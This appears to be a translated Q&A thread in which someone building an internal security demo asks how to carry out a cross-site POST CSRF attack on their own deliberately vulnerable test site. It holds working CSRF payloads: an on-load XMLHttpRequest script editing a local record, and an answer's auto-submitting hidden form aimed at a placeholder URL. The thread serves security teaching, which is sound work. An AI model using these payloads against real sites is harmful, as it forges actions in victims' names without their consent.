如何演示CSRF攻击

时间:2011-07-25 07:09:51

标签: security web-applications csrf

我正在向我们企业中的其他人介绍Web安全性,并且我想展示一些示例以产生更多影响。

为此,我创建了一个易受此攻击的小型网站,该网站只能在我们的网络上访问。

我现在正试图利用这次攻击,但我有一个问题:

如何使用POST表单执行此操作?

使用GET查询执行此操作时没有问题,但是使用POST,我正在尝试使用javascript执行此操作,如果我在同一主机上托管我的代码没有问题,但是如果我想托管我的代码到另一个主机更现实,我被阻止,因为它是一个跨域请求。

那么我应该如何发送这些POST变量?

谢谢!

这是我目前的代码:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>CSRF attack demo</title>
<script type="text/javascript">
function getHTTPObject() {
        var http = false;
        //Use IE's ActiveX items to load the file.
        if(typeof ActiveXObject != 'undefined') {
            try {http = new ActiveXObject("Msxml2.XMLHTTP");}
            catch (e) {
                try {http = new ActiveXObject("Microsoft.XMLHTTP");}
                catch (E) {http = false;}
            }
        //If ActiveX is not available, use the XMLHttpRequest of Firefox/Mozilla etc. to load the document.
        } else if (window.XMLHttpRequest) {
            try {http = new XMLHttpRequest();}
            catch (e) {http = false;}
        }
        return http;
    }
function post_to_url(path, params, method) {
    method = method || "post"; // Set method to post by default, if not specified.

    // The rest of this code assumes you are not using a library.
    // It can be made less wordy if you use one.
    var form = document.createElement("form");
    form.setAttribute("method", method);
    form.setAttribute("action", path);

    for(var key in params) {
        var hiddenField = document.createElement("input");
        hiddenField.setAttribute("type", "hidden");
        hiddenField.setAttribute("name", key);
        hiddenField.setAttribute("value", params[key]);

        form.appendChild(hiddenField);
    }

    document.body.appendChild(form);
    form.submit();
}

function postToUrlBackground(path, params){
    var http = getHTTPObject();

    http.open("POST", path, true);

    //Send the proper header information along with the request
    http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    http.setRequestHeader("Content-length", params.length);
    http.setRequestHeader("Connection", "close");

    http.onreadystatechange = function() {//Call a function when the state changes.
        if(http.readyState == 4 && http.status == 200) {
            //alert("Response received");
        }
    }
    http.send(params);
}
function TryAttack(){
    //alert("Sending");
    postToUrlBackground("http://localhost:51612/Movie/Edit/1", "Title=%28500%29This+item+has+been+changed+without+any+rights&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE");
    //postToUrlBackground("http://localhost:51612/Movie/Edit/1","Title=%28500%29+JOURS+ENSEMBLE&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE"    );
    //alert("sent");
}
</script>
</head>
<body onload="TryAttack()">
<img src=image.png />
</body>
</html>

1 个答案:

答案 0 :(得分:24)

在“其他主机”(攻击者)上,您只需创建一个FORM方法POST,其action(即表单提交的位置)是你的易受攻击的应用然后你在那个页面上用javascript提交它。

像这样:

<html><body>
  <form name="csrf_form" action="http://VULNERABLE_APP/csrf.php" method="POST">
    <input type="hidden" name="csrf_param" value="POST_ATTACK">
  </form>

  <script type="text/javascript">document.csrf_form.submit();</script>
</body></html>

当您打开该页面时,这将从攻击者的主机向您的易受攻击的应用程序提交POST

相关问题